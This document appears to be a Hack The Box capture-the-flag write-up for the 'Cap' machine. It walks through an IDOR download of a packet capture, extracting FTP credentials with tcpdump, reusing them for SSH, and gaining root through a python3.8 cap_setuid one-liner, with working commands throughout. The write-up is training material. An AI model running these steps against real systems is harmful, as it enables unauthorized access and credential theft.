πCap
π© HTB Cap β Solution Notes
Platform: Hack The Box Machine: Cap OS: Linux (Ubuntu 20.04) Difficulty: Easy Date: March 27, 2026
πΊοΈ Attack Chain
Nmap β Web recon β IDOR (/data/0) β Download PCAP β FTP credentials β SSH β Linux Capabilities β ROOT
π§ How Does a Hacker Think? β Before You Begin
When starting a machine, the first question should be: "How many doors are open and which one is the weakest?"
1οΈβ£ Reconnaissance
Port Scanning
bash
nmap -p- --min-rate 5000 -sV 10.129.243.146
Findings:
3 ports: FTP, SSH, and HTTP. HTTP is likely the main entry point. But don't forget FTP β FTP is unencrypted, so if traffic is captured, credentials are visible in plain text.
π§ How Does a Hacker Think? β First Look at a Web Application
When you see a web application, do two things immediately:
2οΈβ£ Web Application Discovery
The homepage presents a panel called "Security Dashboard." The username Nathan is visible in the top right corner. The menu has several endpoints:
/β Dashboard/captureβ Security Snapshot (5-second PCAP + analysis)/ipβ IP Config/netstatβ Network Status
Visiting the /capture endpoint redirects to:
http://10.129.243.146/data/1
π‘ What does this mean?
3οΈβ£ IDOR Vulnerability
π‘ What is IDOR (Insecure Direct Object Reference)?
bash
curl -s http://10.129.243.146/data/0 | grep -i "download"
# Output: /download/0 button found
Downloading the PCAP
bash
curl -s http://10.129.243.146/download/0 -o scan0.pcap
π§ How Does a Hacker Think? β What Are We Looking for in a PCAP?
You have a network traffic capture. So what are you looking for?
4οΈβ£ PCAP Analysis β Finding Credentials
π‘ What is a PCAP?
bash
tcpdump -r scan0.pcap -A | grep -i "pass\|user\|login\|ftp"
Credentials found:
USER: nathan
PASS: Buck3tH4TF0RM3!
5οΈβ£ SSH Login
π‘ Why Did the FTP Password Work for SSH Too?
bash
ssh nathan@10.129.243.146
# Password: Buck3tH4TF0RM3!
π© User Flag
bash
cat ~/user.txt
π§ How Does a Hacker Think? β How Do We Get to Root?
You're in as nathan. Now think systematically about getting to root:6οΈβ£ Privilege Escalation β Linux Capabilities
π‘ What are Linux Capabilities?
Scan for Capabilities on the System
π‘ The getcap Commandbash
getcap -r / 2>/dev/null
Output:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip β DANGEROUS!
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8hascap_setuid. If we callos.setuid(0)in Python, we set our UID to 0 (root). Thenos.system("/bin/bash")opens a root shell.
Root Shell
bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
bash
id
# uid=0(root) gid=1000(nathan) groups=1000(nathan)
uid=0(root)β We're root! Even thoughgidstill shows nathan,uid=0means we have full root privileges.
π© Root Flag
bash
cat /root/root.txt
π Concepts Learned
- IDOR: Changing an ID in the URL to access another user's data
- PCAP Analysis: Extracting credentials from unencrypted protocols (FTP)
- Password Reuse: The same password working across multiple services
- Linux Capabilities: Escalating to UID 0 using
cap_setuid getcap -r /: Listing dangerous capabilities on the system
π General Hacker Mindset Summary
- Question every number in a URL: If there's an ID, there might be IDOR β change it and test.
- Watch for unencrypted protocols: FTP, HTTP, or Telnet traffic may expose credentials in plain text.
- Password reuse is real: When you find a password, try it everywhere.
- Capabilities can be dangerous: Run
getcap, and if you seecap_setuidβ exploit it immediately. - Systematic privesc: sudo β SUID β capabilities β cron β writable files β follow the order.